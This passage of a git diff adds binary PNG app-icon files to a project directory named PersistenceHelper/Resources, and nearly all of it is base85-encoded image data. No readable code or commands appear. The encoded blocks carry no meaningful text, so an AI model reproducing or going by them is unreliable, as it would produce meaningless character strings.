zNVt=!pKeM?4(gBou`#*4jroORcdpjM?j3czZ70;LY;k))+s8S>bKj*WClUgWrLL?7 zD5CXYzkt@Xf-MU-N_PQY@>dft_PfrAc7tYoTfugaf{!c;{@W~Wj*o0_lm(vAS+h|G zg5s-lo(AtF1WzBU-22(?!O7^jy-+QXh-wq)wU1aKQV5uoix;%taGz%!)ersqoX62I z3D14kbDdk6!9%o7ZH6@a!bH!D4LS!EopiyxJ)QeD)0ELF0dZ~qV4dTWJLmmnYlC}( zMt>+5u3;~wXK}U%sPrFQ(VP>lSB0j#=cI>YF_upjXvBmNa)Y!gs=%zrQ|qqRr^FvA z2M(13& zErf8|dCXYF3Ei-4E8{A_k@0%&+QlQbIiW_3R;>ER;L*?bH2rqp)GuasDWP@t*QS5H z^|NdP@e&ZzTz6cDkjTbLhZWfe&q?M6+}ZhUQ8|z7{x)n;cS5!JB+-;8f6}?f_(PX~v2#a2@&cyqIox&$jP|m@RdV9<3 zdI?jZkYOA?p!YCI4i67P;3^UAp$2l#C$&yZU1{~P0Jg2zO2*qQXx98Pf`Z!8)y6vmC5Re%mGc*+DX z8Ol3HaV2?E!V=WB>p$i>IkTwZPWD1CYU|}}RS}XP>Dn;ZV8OD)VDF{{7Dw-($2@p^ zyjTBHO57N2IhC_CE5&VT|L%7YU5`YrBOsJ#cXlU%)|*l@1Md0;ynjX65bl+U+}F{3 z>C5DB)7OEY#21yw9a^hXeda~UOsZt9Lqd_mrnDjb^<2d#4fAzgtMMnt`%WK*fgtlOBHdoo4uKGdggHN+e;(Q>`0xjn;v0wN}OqzrrbKYra=QCg?YE;P0LS`q}4UOeKscT z*!A)vq`)Pw#vBdDrp70<0|0C0hXS?(JOL^5^sIE)&2Com)!DOBo4=qnkr_?hW>TBy zb9p6TVh7<)?HR&!I(I|x2W60+GHp}h`N3$P-Hy_tT+{n4FO^NML_4j@8wXlk)95kn zI~VShK8Rae`qvRw7hC0R&G&^d15u=vgG&BHRMEACH4&V zk0Tg}(4U?=oD<6!Z~5awPDSCa$o-08zw$*?;T8S*vRA92D#!DmLNN?0dWASOJRbLd z%?moYUkod=fw=Wg{SOgO^N*K$FkQ#*`BkBY|Lb`o|7BHj&fE%l@q68m#sviQ`c9JF vlAtZ(-)_nYUT5bI-!D}1d*}a1*#E!I_~*8MlZEYs{j=)o|7jyB9{Jw@kNKyR literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon57x57@3x.png b/PersistenceHelper/Resources/AppIcon57x57@3x.png new file mode 100644 index 0000000000000000000000000000000000000000..9ff74bd165d81d492a24c6d8dc56f1bcdecbb923 GIT binary patch literal 11118 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 v`C}CCOTGlhFSIHSOvd literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon60x60.png b/PersistenceHelper/Resources/AppIcon60x60.png new file mode 100644 index 0000000000000000000000000000000000000000..4d41ed5e30c52ac94adb6e274e3c76d39d370ebd GIT binary patch literal 6335 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 